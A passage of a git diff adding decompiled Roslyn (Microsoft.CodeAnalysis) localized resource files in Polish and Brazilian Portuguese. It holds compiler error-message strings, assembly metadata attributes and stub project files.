wyrażenia w klauzuli {0} jest niepoprawny. Wnioskowanie typu nie powiodło się w wywołaniu elementu „{1}”. + filtr wyjątków + Co najmniej jedna instrukcja najwyższego poziomu nie może być pusta. + Deklaracje metod częściowych elementu „{0}” mają niespójne ograniczenia dla parametru typu „{1}” + \ No newline at end of file diff --git a/decompiled/Libraries/pl.microsoft.codeanalysis.csharp.resources/Properties/AssemblyInfo.cs b/decompiled/Libraries/pl.microsoft.codeanalysis.csharp.resources/Properties/AssemblyInfo.cs new file mode 100644 index 0000000..f1cc5cb --- /dev/null +++ b/decompiled/Libraries/pl.microsoft.codeanalysis.csharp.resources/Properties/AssemblyInfo.cs @@ -0,0 +1,11 @@ +using System.Diagnostics; +using System.Reflection; +using System.Runtime.CompilerServices; + +[assembly: AssemblyCompany("Microsoft Corporation")] +[assembly: AssemblyCopyright("© Microsoft Corporation. All rights reserved.")] +[assembly: AssemblyFileVersion("4.800.23.55801")] +[assembly: AssemblyInformationalVersion("4.8.0-7.23558.1+e091728607ca0fc9efca55ccfb3e59259c6b5a0a")] +[assembly: AssemblyProduct("Microsoft.CodeAnalysis.CSharp")] +[assembly: AssemblyTitle("Microsoft.CodeAnalysis.CSharp")] +[assembly: AssemblyVersion("4.8.0.0")] diff --git a/decompiled/Libraries/pl.microsoft.codeanalysis.csharp.resources/costura.pl.microsoft.codeanalysis.csharp.resources.csproj b/decompiled/Libraries/pl.microsoft.codeanalysis.csharp.resources/costura.pl.microsoft.codeanalysis.csharp.resources.csproj new file mode 100644 index 0000000..5be603d --- /dev/null +++ b/decompiled/Libraries/pl.microsoft.codeanalysis.csharp.resources/costura.pl.microsoft.codeanalysis.csharp.resources.csproj @@ -0,0 +1,17 @@ + + + Microsoft.CodeAnalysis.CSharp.resources + False + netstandard2.0 + + + 14.0 + True + False + + + + + + + \ No newline at end of file diff --git a/decompiled/Libraries/pl.microsoft.codeanalysis.resources/Microsoft.CodeAnalysis.CodeAnalysisResources.pl.resx b/decompiled/Libraries/pl.microsoft.codeanalysis.resources/Microsoft.CodeAnalysis.CodeAnalysisResources.pl.resx new file mode 100644 index 0000000..d984193 --- /dev/null +++ b/decompiled/Libraries/pl.microsoft.codeanalysis.resources/Microsoft.CodeAnalysis.CodeAnalysisResources.pl.resx @@ -0,0 +1,248 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +text/microsoft-resx1.3System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089struktura + element jest oczekiwany + Obraz PE jest niedostępny. + Nieprawidłowy rozmiar tokenu klucza publicznego. + Dodatkowy plik nie należy do źródłowego elementu „CompilationWithAnalyzers”. + Wiele plików konfiguracji analizatora globalnego ustawiło ten sam klucz „{0}” w sekcji „{1}”. To ustawienie zostało wycofane. Klucz został ustawiony przez następujące pliki: „{2}” + Ścieżka tymczasowa do podpisywania starszych plików jest niedostępna. + zdarzenie + Zestaw zawierający typ „{0}” odwołuje się do platformy .NET Framework, co nie jest obsługiwane. + Odwołanie do zestawu: „{0}” + Przyznaje plik IVT bieżącemu zestawowi: {1} + Przyznaje pliki IVT dla: + Analizator „{0}” zawiera deskryptor null we właściwości „SupportedDiagnostics”. + Parametr „{0}” musi być symbolem z tej kompilacji lub przywoływanym zestawem. + Niezgodne wersje językowe + Procedura rozpoznawania odwołań powinna zwrócić możliwy do odczytu strumień, który ma wartość inną niż null. + Nieprawidłowe opcje kompilacji — nie można podpisać przesłanego elementu. + Klucz w elemencie pathMap jest pusty. + Nieprawidłowa ważność w pliku konfiguracji analizatora. + Plik zestawu reguł ma zduplikowane reguły w przypadku elementu „{0}” z różniącymi się akcjami „{1}” i „{2}”. + Typ musi być podklasą elementu SyntaxAnnotation. + Wartość jest zbyt duża, dlatego nie może być reprezentowana jako 30-bitowa liczba całkowita bez znaku. + Nie można ustawić aliasu dla modułu. + Nieprawidłowe znaki w nazwie kultury zestawu + moduł + metoda + Składnik zapisywania plików PDB systemu Windows nie obsługuje kompilacji deterministycznej: „{0}” + Analizator + Parametr „{0}” musi być interfejsem „INamedTypeSymbol” lub „IAssemblySymbol”. + Pomiń następującą diagnostykę, aby wyłączyć ten analizator: {0} + klasa + Ostrzeżenie: Nie można włączyć wielordzeniowego kompilowania JIT z powodu wyjątku: {0}. + Osadzony tekst jest obsługiwany tylko w przypadku emitowania pliku PDB. + Nie można użyć kopii modułu do utworzenia metadanych zestawu. + Nazwa globalnej sekcji konfiguracji analizatora „{0}” jest nieprawidłowa, ponieważ nie jest ścieżką bezwzględną. Sekcja zostanie zignorowana. Sekcja została zadeklarowana w pliku „{1}”. + Strumień ikony nie ma oczekiwanego formatu. + Dla elementu diagnostyki „{0}” określono nieprawidłową ważność „{1}” w pliku konfiguracji analizatora — „{2}”. + Nazwa zestawu: „{0}” + Klucze publiczne: + Nie znaleziono pliku. + Atrybut {0} ma nieprawidłową wartość {1}. + Zasoby Win32, w przypadku których zakłada się, że format obiektu to COFF, mają nieprawidłowy rozmiar sekcji. + Element SourceText o nazwie hintName „{0}” musi mieć ustawione jawne kodowanie. + Nierozpoznany format pliku zasobów. + parametr + właściwość, indeksator + Element {0} nie ma atrybutu o nazwie {1}. + Nie znaleziono elementu MetadataReference „{0}” do usunięcia. + Nieprawidłowa nazwa modułu została określona w module metadanych „{0}”: „{1}” + Nazwa zawiera nieprawidłowe znaki. + Nie można określić nazwy języka dla tej opcji. + Nie należy podawać strumienia PDB podczas wbudowywania pliku PDB w strumieniu PE. + Nic + Strumień PDB nie powinien być podawany podczas emitowania samych metadanych. + Element hintName „{0}” zawiera nieprawidłowy znak „{1}” na pozycji {2}. + Błąd sterownika analizatora + Wiele plików konfiguracji analizatora globalnego ustawiło ten sam klucz. To ustawienie zostało wycofane. + Musi zawierać prywatne składowe, chyba że emituje zestaw odwołania. + Argumenty opcji „/keepalive” mniejsze niż -1 są nieprawidłowe. + Dana operacja ma element nadrzędny inny niż null. + Nazwa globalnej sekcji konfiguracji analizatora jest nieprawidłowa, ponieważ nie jest ścieżką bezwzględną. Sekcja zostanie zignorowana. + Oczekiwano ścieżki bezwzględnej. + Nieprawidłowe dane w przesunięciu {0}: {1}{2}*{3}{4} + Nie można ustalić konkretnej przyczyny niepowodzenia. + Odwołania do dokumentów XML są nieobsługiwane. + Strumień jest za długi. + Typ zwracany nie może być typem wartości, wskaźnikiem, elementem by-ref ani otwartym typem ogólnym. + Podstawowy typ krotki musi zapewniać obsługę krotek. + Wystąpił wyjątek z następującym kontekstem: +{0} + Typ „{0}” nie jest zrozumiały dla integratora serializacji. + Niespójne funkcje drzewa składni + Nie można osadzić typów międzyoperacyjnych z modułu. + Nie można osadzić elementu SourceText. Podaj kodowanie lub ustawienie canBeEmbedded=true w konstrukcji. + Strumień zawiera nieprawidłowe dane + Czas (s) + Moduł ma nieprawidłowe atrybuty. + Drzewo składni nie należy do podstawowego elementu „Kompilacja”. + Nieprawidłowy skrót. + 'Opcja „/keepalive” jest prawidłowa tylko z opcją „/shared”. + Uwzględnianie prywatnych składowych nie powinno być używane podczas emitowania danych wyjściowych pomocniczego zestawu. + Drukowanie informacji „InternalsVisibleToAttribute” dla bieżącej kompilacji i wszystkich przywoływanych zestawów. + Ścieżka zwrócona przez element {0}.ResolveStrongNameKeyFile musi być bezwzględna: „{1}” + Nie można odnaleźć pliku zestawu reguł „{0}”. + Podpisywanie zestawu nie jest obsługiwane. + Zgłoszone dane diagnostyczne „{0}” mają lokalizację źródłową „{1}” w pliku „{2}”, który jest spoza podanego pliku. + Węzeł do śledzenia nie jest elementem podrzędnym elementu głównego. + Dany blok operacji nie należy do bieżącego kontekstu analizy. + Określony element nie jest elementem listy. + delegat + Nie można zapisać do strumienia. + Wartość argumentu „/shared:” nie może być pusta + Czytnik deserializacji dla elementu „{0}” odczytuje nieprawidłową liczbę wartości. + Analizator „{0}” zawiera deskryptor null we właściwości „SupportedSuppressions” + Nie można utworzyć odwołania do przesłanego elementu. + Ścieżka zwrócona przez element {0}.ResolveMetadataFile musi być bezwzględna: „{1}” + Nierozpoznane: + Argument opcji „/keepalive” nie jest 32-bitową liczbą całkowitą. + Zakres nie obejmuje początku wiersza. + Nie można utworzyć odwołania metadanych do zestawu bez lokalizacji. + Nieprawidłowa nazwa kultury: „{0}” + Nieprawidłowy rodzaj instrumentacji: {0} + Krotki muszą zawierać co najmniej dwa elementy. + Zmiany muszą być uporządkowane i nie mogą nakładać się na siebie. + Wersja protokołu zgłaszana przez serwer kompilatora programu Roslyn jest inna niż wersja dla zadania kompilacji. + Łączny czas wykonywania analizatora: {0} sek. + Opcje kompilacji nie mogą zawierać błędów. + Nie można serializować typu „{0}”. + Strumień PE metadanych nie powinien być podawany podczas emitowania samych metadanych. + Pusta lub nieprawidłowa nazwa zasobu + Typ zwracany nie może być typem void, elementem by-ref ani otwartym typem ogólnym + Składnik zapisywania plików PDB systemu Windows nie obsługuje funkcji SourceLink: „{0}” + Nieprawidłowy token klucza publicznego. + Diagnostyka „{0}: {1}” została programowo pominięta przez interfejs DiagnosticSuppressor z identyfikatorem pominięcia „{2}” i uzasadnieniem „{3}” + Brak argumentu opcji „/keepalive”. + <moduł w pamięci> + Generator + Dana operacja ma model semantyczny o wartości null. + Wersja składnika zapisywania plików PDB systemu Windows jest starsza niż wymagana: „{0}” + Węzeł lub token jest poza sekwencją. + Osadzanie pliku PDB nie jest dozwolone podczas emitowania metadanych. + Nie można utworzyć odwołania metadanych do zestawu dynamicznego. + Pominięty identyfikator diagnostyki „{0}” nie pasuje do możliwego do pominięcia identyfikatora „{1}” dla danego deskryptora pomijania. + Zasoby Win32, w przypadku których zakłada się, że format obiektu to COFF, mają co najmniej jedną nieprawidłową wartość symbolu. + Strumień musi obsługiwać operacje odczytu i wyszukiwania. + wyliczenie + Lokalizacja źródłowa zgłoszonych danych diagnostycznych „{0}” znajduje się w pliku „{1}”, który nie jest częścią analizowanej kompilacji. + pole + Nazwa nie może być pusta. + Całkowity czas wykonywania generatora: {0} sekund. + Zasoby Win32, w przypadku których zakłada się, że format obiektu to COFF, nie zawierają jednej sekcji „rsrc$01” lub „rsrc$02” albo obu tych sekcji. + Jeśli określono nazwy elementów krotki, liczba tych nazw musi być zgodna z kardynalnością krotki. + Funkcja Edytuj i kontynuuj nie może wznowić wstrzymanego iteratora, ponieważ odpowiadająca jej instrukcja yield return została usunięta + Nieprawidłowy typ zawartości + Metoda {0}.GetMetadata() musi zwrócić wystąpienie {1}. + Zgłoszona diagnostyka ma identyfikator „{0}”, który nie jest prawidłowym identyfikatorem. + Nie można utworzyć odwołania modułu do zestawu. + Jeśli określono adnotacje elementów krotki z możliwością ustawiania wartości null, liczba adnotacji musi zgadzać się z kardynalnością krotki. + Argument zawiera zduplikowane wystąpienia analizatora. + Nazwa nie może rozpoczynać się od białego znaku. + Nie można przeprowadzić serializacji tablic z więcej niż jednym wymiarem. + Zmiana wersji odwołania do zestawu jest niedozwolona podczas debugowania: „{0}” — zmieniono wersję na „{1}”. + Zgłoszona diagnostyka z identyfikatorem „{0}” nie jest obsługiwana przez analizatora. + Nazwa języka musi zostać określona dla tej opcji. + Oczekiwano symbolu metody + Rodzaj wyjścia nie jest obsługiwany. + oczekiwano separatora + Węzeł na liście nie ma oczekiwanego typu. + Element hintName '{0}' zawiera nieprawidłowy segment '{1}' na pozycji {2}. + Element {0} musi mieć wartość „default” lub tę samą długość co element {1}. + Nazwa nie może być pusta. + Zmiany muszą należeć do zakresu elementu SourceText + Nieobsługiwany algorytm wyznaczania wartości skrótu. + Dostawca strumienia zasobów powinien zwrócić strumień, który ma wartość inną niż null. + Tożsamość WindowsRuntime nie może być elementem, który można ponownie ustawić jako cel + Argument zawiera wystąpienie analizatora, które nie należy do elementu „Analizatory” dla tego wystąpienia CompilationWithAnalyzers. + Nie można ustawić modułu sieciowego jako docelowego podczas emitowania zestawu odwołania. + Nie można deserializować typu „{0}”. + Strumień musi być możliwy do odczytania. + interfejs + Zasoby Win32, w przypadku których zakłada się, że format obiektu to COFF, mają co najmniej jedną nieprawidłową wartość nagłówka relokacji. + Analizator „{0}” zgłosił wyjątek typu „{1}” z komunikatem „{2}”. +{3} + <zestaw w pamięci> + Elementy {0} i {1} muszą mieć tę samą długość. + Element hintName „{0}” dodanego pliku źródłowego musi być unikatowy w generatorze. + Nazwa elementu krotki nie może być pustym ciągiem. + Nieprawidłowy rodzaj wyjścia przesłanego elementu. Oczekiwano elementu DynamicallyLinkedLibrary. + Interfejs DiagnosticDescriptor musi mieć identyfikator, który nie ma wartości null, nie jest ciągiem pustym ani nie jest ciągiem zawierającym tylko białe znaki. + Strumień musi być zapisywalny. + Nieprawidłowa nazwa zestawu: „{0}” + Nieprawidłowy alias. + konstruktor + Nie znaleziono analizatorów + Zestaw musi mieć co najmniej jeden moduł. + Funkcja Edytuj i kontynuuj nie może wznowić wstrzymanej metody asynchronicznej, ponieważ odpowiednie wyrażenie oczekujące zostało usunięte + Dostawca danych zasobów powinien zwrócić strumień, który ma wartość inną niż null. + Nie można pominąć niezgłoszonej diagnostyki o identyfikatorze „{0}”. + Strumień zasobów zakończył się przy następującej liczbie bajtów: {0}, oczekiwano następującej liczby bajtów: {1}. + Obraz PE nie zawiera zarządzanych metadanych. + Pusta lub nieprawidłowa nazwa pliku + zwracany + Sterownik analizatora zgłosił wyjątek typu „{0}” z komunikatem „{1}”. +{2} + Rozmiar pliku przekracza maksymalny dozwolony rozmiar prawidłowego pliku metadanych. + Zakres nie obejmuje końca wiersza. + Poprzedni przesłany element zawiera błędy. + Kompilacja zawiera odwołania do wielu zestawów, których wersje różnią się tylko automatycznie wygenerowanymi numerami kompilacji i/lub poprawki. + Programowe pomijanie diagnostyki analizatora + Nie znaleziono pliku zestawu + Nieprawidłowy klucz publiczny. + Nie można odczytać ze strumienia. + Odwołanie typu „{0}” jest nieprawidłowe dla tej kompilacji. + Żądany numer wiersza {0} musi być mniejszy niż liczba wierszy {1}. + DiagnosticDescriptor musi mieć identyfikator, który nie ma wartości null, nie jest ciągiem pustym ani nie jest ciągiem zawierającym tylko puste miejsca. + Zgłoszone pominięcie o identyfikatorze „{0}” nie jest obsługiwane przez eliminator. + Podana operacja nie może być częścią grafu przepływu sterowania. + Można zarejestrować tylko jeden element {0} na generator. + Typ musi być identyczny z typem obiektu hosta poprzedniego przesłanego elementu. + Jeśli określono lokalizacje elementów krotki, liczba lokalizacji musi zgadzać się z kardynalnością krotki. + Bieżący zestaw: „{0}” + „{0}” nie była prawidłową wbudowaną nazwą operatora + Nieobsługiwany wbudowany operator: {0} + Niedozwolona nazwa wbudowanego operatora „{0}” + Wartość „end” nie może być mniejsza niż wartość „start”. start=„{0}” end=„{1}”. + Nie można utworzyć odwołania do modułu. + Błąd analizatora + Oczekiwano klucza publicznego, który nie jest pusty + Podczas ładowania dołączonego pliku zestawu reguł wystąpił błąd {0} — {1} + Nieprawidłowe znaki w nazwie zestawu + UWAGA: Czas, który upłynął, może być krótszy niż czas wykonywania analizatora, ponieważ analizatory mogą działać współbieżnie. + Argument nie może zawierać elementu o wartości null. + Argument nie może być pusty. + zestaw + parametr typu + 'Element „start” nie może być wartością ujemną + Rozmiar musi być wartością dodatnią. + Wartość elementu pathMap to null. + \ No newline at end of file diff --git a/decompiled/Libraries/pl.microsoft.codeanalysis.resources/Microsoft.CodeAnalysis.Internal.Strings.pl.resx b/decompiled/Libraries/pl.microsoft.codeanalysis.resources/Microsoft.CodeAnalysis.Internal.Strings.pl.resx new file mode 100644 index 0000000..e01ec7e --- /dev/null +++ b/decompiled/Libraries/pl.microsoft.codeanalysis.resources/Microsoft.CodeAnalysis.Internal.Strings.pl.resx @@ -0,0 +1,59 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +text/microsoft-resx1.3System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089Dolna granica tablicy docelowej musi mieć wartość zero. + Typ tablicy docelowej nie jest zgodny z typem elementów w kolekcji. + Rozmiar kolekcji jest stały. + Zmodyfikowano kolekcję. Nie można wykonać operacji wyliczania. + W pierwszym wymiarze liczba była mniejsza niż wartość dolnej granicy tablicy. + Tablica docelowa ma zbyt małą długość, aby móc skopiować wszystkie elementy kolekcji. Sprawdź indeks tablicy i jej długość. + Nie można porównać dwóch elementów w tablicy. + Element o tym samym kluczu został już dodany. Klucz: {0} + Liczba wymiarów musi być taka sama dla wszystkich określonych tablic. + Wartości przesunięcia i długości są spoza zakresu tablicy lub liczba przekracza liczbę elementów znajdujących się miedzy indeksem a końcem kolekcji źródłowej. + Nie można wykonać sortowania, ponieważ metoda IComparer.Compare() zwraca niespójne wyniki. Albo porównanie wartości z samą sobą nie daje w wyniku równości, albo jedna wartość porównywana wielokrotnie z inną wartością daje różne wyniki. IComparer: „{0}”. + Wartość licznika musi być dodatnia i musi odwoływać się do lokalizacji w ciągu/tablicy/kolekcji. + Indeks był spoza zakresu. Musi mieć wartość nieujemną i mniejszą niż rozmiar kolekcji. + Obiekt nie jest tablicą zawierającą tę samą liczbę elementów co tablica, z którą ma on być porównany. + pojemność była mniejsza niż bieżący rozmiar. + Dla żądanej akcji są obsługiwane tylko tablice jednowymiarowe. + Mutacja kolekcji wartości pochodzącej od słownika nie jest dozwolona. + Większy niż rozmiar kolekcji. + Indeks i długość muszą mieścić się w granicach elementu Lista. + Wymagana jest liczba nieujemna. + Nie można znaleźć starej wartości + Operacje, które zmieniają niewspółbieżne kolekcje, muszą mieć wyłączny dostęp. Wykonano współbieżną aktualizację tej kolekcji, która uszkodziła jej stan. Stan kolekcji nie jest już prawidłowy. + Podanego klucza „{0}” nie było w słowniku. + Mutacja kolekcji kluczy pochodzącej od słownika nie jest dozwolona. + Tablica docelowa nie była wystarczająco długa. Sprawdź indeks docelowy, długość i dolną granicę tablicy. + Nastąpiło przepełnienie tabeli generowania skrótu i wystąpiły wartości ujemne. Sprawdź współczynnik i pojemność ładowania oraz bieżący rozmiar tabeli. + Tablica źródłowa nie była wystarczająco długa. Sprawdź indeks źródłowy, długość i dolną granicę tablicy. + Wartość „{0}” nie jest typu „{1}” i nie może być użyta w tej kolekcji rodzajowej. + Wyliczanie nie zostało uruchomione lub zostało już zakończone. + \ No newline at end of file diff --git a/decompiled/Libraries/pl.microsoft.codeanalysis.resources/Properties/AssemblyInfo.cs b/decompiled/Libraries/pl.microsoft.codeanalysis.resources/Properties/AssemblyInfo.cs new file mode 100644 index 0000000..437c68c --- /dev/null +++ b/decompiled/Libraries/pl.microsoft.codeanalysis.resources/Properties/AssemblyInfo.cs @@ -0,0 +1,11 @@ +using System.Diagnostics; +using System.Reflection; +using System.Runtime.CompilerServices; + +[assembly: AssemblyCompany("Microsoft Corporation")] +[assembly: AssemblyCopyright("© Microsoft Corporation. All rights reserved.")] +[assembly: AssemblyFileVersion("4.800.23.55801")] +[assembly: AssemblyInformationalVersion("4.8.0-7.23558.1+e091728607ca0fc9efca55ccfb3e59259c6b5a0a")] +[assembly: AssemblyProduct("Microsoft.CodeAnalysis")] +[assembly: AssemblyTitle("Microsoft.CodeAnalysis")] +[assembly: AssemblyVersion("4.8.0.0")] diff --git a/decompiled/Libraries/pl.microsoft.codeanalysis.resources/costura.pl.microsoft.codeanalysis.resources.csproj b/decompiled/Libraries/pl.microsoft.codeanalysis.resources/costura.pl.microsoft.codeanalysis.resources.csproj new file mode 100644 index 0000000..8050a23 --- /dev/null +++ b/decompiled/Libraries/pl.microsoft.codeanalysis.resources/costura.pl.microsoft.codeanalysis.resources.csproj @@ -0,0 +1,17 @@ + + + Microsoft.CodeAnalysis.resources + False + netstandard2.0 + + + 14.0 + True + False + + + + + + + \ No newline at end of file diff --git a/decompiled/Libraries/pt-br.microsoft.codeanalysis.csharp.resources/Microsoft.CodeAnalysis.CSharp.CSharpResources.pt-BR.resx b/decompiled/Libraries/pt-br.microsoft.codeanalysis.csharp.resources/Microsoft.CodeAnalysis.CSharp.CSharpResources.pt-BR.resx new file mode 100644 index 0000000..f7b7734 --- /dev/null +++ b/decompiled/Libraries/pt-br.microsoft.codeanalysis.csharp.resources/Microsoft.CodeAnalysis.CSharp.CSharpResources.pt-BR.resx @@ -0,0 +1,2705 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +text/microsoft-resx1.3System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089Saídas sem origem devem ter a opção /out especificada + Divisão por zero constante + Os tipos e os aliases não devem ser nomeados como 'registro'. + "{0}" não é um argumento de atributo nomeado válido porque não é um tipo de parâmetro de atributo válido + O comentário XML tem XML possui formato incorreto + A restrição 'new()' não pode ser usada com a restrição 'unmanaged' + Ignorando a alguns tipos de assembly de analisador {0} devido a uma ReflectionTypeLoadException: {1}. + O campo é atribuído, mas seu valor nunca é usado + registros + Uma árvore de expressões não pode conter um operador de atribuição + Não é possível encontrar um ou mais tipos necessários para compilar uma expressão dinâmica. Está precisando de uma referência? + "{0}" é obsoleto: "{1}" + O atributo Conditional não é válido em "{0}" porque é um construtor, destruidor, operado, expressão lambda ou implementação de interface explícita + Os membros do parâmetro de construtor primário "{0}" de um tipo somente leitura não podem ser retornados por referência gravável + Os padrões de fatia somente podem ser usados uma vez e diretamente dentro de um padrão de lista. + Nome de módulo inválido: {0} + A interface já está listada na lista de interfaces com uma nulidade diferente de tipos de referência. + '{0}': as conversões definidas pelo usuário para ou de um tipo base não são permitidas + "{0}": não é possível fazer referência a um tipo por meio de uma expressão; ao invés disso, tente "{1}" + Versão do compilador: '{0}'. Versão de linguagem: {1}. + iteradores + Ignore /win32manifest do módulo porque ele só se aplica aos assemblies + Página de código "{0}" é inválida ou não está instalada + O membro obsoleto "{0}" substitui o membro não obsoleto "{1}" + Aspa de fechamento ausente para o literal da cadeia de caracteres. + O valor gerado pode ser nulo. + O uso de propriedade auto-implementada possivelmente não atribuída '{0}'. Considere atualizar para a versão de linguagem '{1}' para auto-padrão da propriedade. + '{0}' não pode ser tornado anulável. + declarações using + O runtime de destino não é compatível com a implementação de interface padrão. + Compilação cancelada pelo usuário + Não há suporte a referências de metadados. + O corpo de uma consulta deve terminar com uma cláusula select ou group + A expressão fornecida nunca corresponde ao padrão fornecido. + Os acessadores 'init' não podem ser marcados como 'readonly'. Em vez disso, marque '{0}' como readonly. + O operador '&' não deve ser usado em parâmetros ou variáveis locais em métodos assíncronos. + A instrução switch contém vários casos com o valor de rótulo "{0}" + Identificador esperado; "{1}" é uma palavra-chave + Valor "{0}" inválido: "{1}". + O parâmetro de tipo ‘{0}’ tem o mesmo nome que o parâmetro de tipo do método externo '{1}' + Uma árvore de expressão não pode conter uma operação de ponteiro inseguro + Um caractere inválido foi encontrado dentro de uma referência de entidade. + Uma árvore de expressão da expressão lambda não pode conter um método com argumentos variáveis + Opção de linha de comando ainda não implementada + O compilador ampliou e estendeu a assinatura de uma variável implicitamente, usando posteriormente o valor resultante em uma operação ou bit a bit. Isso pode resultar em um comportamento inesperado. + O operador * ou -> deve ser aplicado a um ponteiro + Nome inválido para um símbolo de pré-processamento. '{0}' não é um identificador válido + O operador "{0}" não pode ser aplicado a operandos dos tipos "{1}" e "{2}" + inteiros de tamanho nativo + O tipo não pode ser marcado como em conformidade com CLS por ser membro de um tipo sem conformidade com CLS + O CallerMemberNameAttribute não terá nenhum efeito; ele é substituído pelo CallerLineNumberAttribute + Membros de {0} '{1}' não podem ser retornados por referência gravável porque ela é uma variável somente leitura + O InterpolatedStringHandlerArgumentAttribute aplicado ao parâmetro '{0}' está malformado e não pode ser interpretado. Construa uma instância de '{1}' manualmente. + A linha fornecida tem '{0}' caracteres, que é menor do que o número de caracteres fornecido '{1}'. + "{0}" não pode declarar um corpo porque não está marcado como abstract + Acessibilidade inconsistente: tipo de evento "{1}" é menos acessível do que o evento "{0}" + Membro "{0}" substitui o membro obsoleto "{1}". Adicione o atributo Obsolete a "{0}". + Código inacessível detectado + O tipo ou membro não precisa de um atributo CLSCompliant porque o assembly não possui um atributo CLSCompliant + Não é possível usar o parâmetro de construtor primário "{0}" neste contexto. + Não foi possível encontrar uma implementação do padrão de consulta para o tipo de origem "{0}". "{1}" não encontrado. Considere especificar explicitamente o tipo da variável de intervalo "{2}". + "{0}" não é um número de aviso válido + O tipo "{3}" não pode ser usado como parâmetro de tipo "{2}" no tipo ou método genérico "{0}". Não há conversão de referência implícita de "{3}" em "{1}". + O método, operador ou assessor está marcado como externo e sem atributos + O método do manipulador de cadeia de caracteres interpolada '{0}' está malformado. Ele não retorna 'void' ou 'bool'. + O padrão de descarte não é permitido como um rótulo de caso em uma instrução switch. Use 'case var _:' para um padrão de descarte ou 'case @_:' para uma constante chamada '_'. + A convenção de chamada '{0}' não é compatível com '{1}'. + Não é possível usar um tipo de referência que permite valor nulo na criação do objeto. + O nome do destruidor precisa corresponder ao nome do tipo + Erro de sintaxe de linha de comando: '{0}' não é um valor válido para a opção '{1}'. O valor precisa estar no formato '{2}'. + '{0}' não é um método de instância, o receptor não pode ser um argumento de manipulador de cadeia de caracteres interpolada. + Essa referência atribui '{1}' a '{0}' mas '{1}' só pode escapar do método atual por meio de uma instrução return. + Não é possível passar a variável de intervalo "{0}" como um parâmetro out ou ref + Um Loop ForEach deve declarar suas variáveis de iteração. + parâmetros de tipo irrestrito em operador de união nulo + O atributo DllImport deve ser especificado em um método marcado como 'static' e 'extern' + método parcial + Feature '{0}' is not available in C# 12.0. Please use language version {1} or greater. + O recurso '{0}' não está disponível no C# 11.0. Use a versão do idioma {1} ou superior. + O recurso '{0}' não está disponível no C# 10.0. Use a versão da linguagem {1} ou superior. + O campo "{0}" é atribuído, mas seu valor nunca é usado + Não é possível usar a instrução yield no corpo de uma cláusula finally + <namespace> + O operador 'await' só pode ser usado em uma expressão de consulta na primeira expressão de coleção da cláusula 'from' inicial ou na expressão de coleção de uma cláusula 'join' + O valor padrão especificado para o parâmetro "{0}" não terá efeito porque ele se aplica a um membro que é usado em contextos que não permitem argumentos opcionais + '{0}': a declaração de interface explícita pode ser declarada somente em uma classe, um registro, um struct ou uma interface + Você não pode redefinir o alias externo global + O método 'Slice' da matriz embutida não será usado para a expressão de acesso ao elemento. + O atributo CLSCompliant não tem sentido quando aplicado a parâmetros. Tente colocá-lo no método. + Este aviso ocorre quando um bloco catch() não tem nenhuma exceção de tipo especificada após um bloco catch (System.Exception e). O aviso indica que o bloco de catch() não capturará exceções. + +Um bloco catch() depois de um bloco catch (System.Exception e) poderá capturar exceções não CLS se o RuntimeCompatibilityAttribute estiver definido como false no arquivo AssemblyInfo.cs: [assembly: RuntimeCompatibilityAttribute(WrapNonExceptionThrows = false)]. Se esse atributo não for definido explicitamente como false, todas as exceções geradas não-CLS são encapsuladas como exceções e o bloco catch (System.Exception e) as captura. + O CallerArgumentExpressionAttribute aplicado ao parâmetro não terá efeito porque é de autorreferência. + Uma variável out não pode ser declarada como uma referência local + Não é possível aguardar em uma cláusula catch + O operador "{0}" requer que uma versão correspondente não verificada do operador para também ser definido + namespace de escopo de arquivo + Não é possível desconstruir objetos dinâmicos. + Uma expressão não pode ser usada nesse contexto, pois ela pode não ser ignorada ou retornada por referência + Uma opção /reference que declara um alias externo só pode ter um nome de arquivo. Para especificar vários aliases ou nomes de arquivo, use várias opções /reference. + A conversão de uma expressão stackalloc do tipo '{0}' para o tipo '{1}' não é possível. + Delimitador de fechamento ausente '}' para expressão interpolada iniciada com '{'. + Especifique o atributo CLSCompliant no assembly, não no módulo, para habilitar a verificação de conformidade com CLS + O modificador 'scoped' só pode ser usado para valores de struct refs e ref. + A instrução foreach não pode operar em variáveis do tipo '{0}' porque '{0}' não contém uma definição da extensão ou instância pública para '{1}' + Erro ao ler arquivo de conjunto de regras {0} - {1} + Não chame diretamente o método Finalize do tipo base. Ele é chamado automaticamente pelo destruidor. + "{0}": o valor do enumerador é muito grande para se ajustar ao seu tipo + O arquivo fornecido tem '{0}' linhas, que é menor do que o número de linhas fornecido '{1}'. + Nome de arquivo inválido especificado para a diretiva de pré-processamento. O nome de arquivo é muito longo ou não é um nome válido. + O tipo ou membro é obsoleto + Não é possível converter a expressão em '{0}' porque ela não pode ser passada ou retornada por referência + Os argumentos de tipo do método "{0}" não podem ser inferidos com base no uso. Tente especificar explicitamente os argumentos de tipo. + Possível argumento de referência nula. + grupo de &métodos + Atributo de arquivo ausente + Atributo de caminho ausente + Tipo não gerenciado "{0}" não é válido para campos. + Erro ao assinar a saída com a chave pública do recipiente "{0}" -- {1} + O operador "{0}" requer que um operador correspondente "{1}" também seja definido + Um inicializador de campo não pode referenciar o campo, o método ou a propriedade não estática "{0}" + propriedades somente leitura implementadas automaticamente + O namespace '{1}' já contém uma definição para '{0}' neste arquivo. + Os campos do campo somente leitura estático '{0}' não podem ser usados como um valor ref ou out (exceto em um construtor estático) + Essa referência atribui '{1}' a '{0}', mas '{1}' tem um escopo de escape mais estreito do que '{0}'. + modificadores de acesso nas propriedades + Tipos e pseudônimos não podem ser nomeados como 'scoped'. + Token inválido '{0}' na declaração de membro de classe, de registro, de struct ou de interface + Arquivo de origem "{0}" não pode ser encontrado + A chamada para um membro que não é readonly de um membro 'readonly' resulta em uma cópia implícita. + O namespace de escopo de arquivo deve preceder todos os outros membros em um arquivo. + '{0}' não tem um 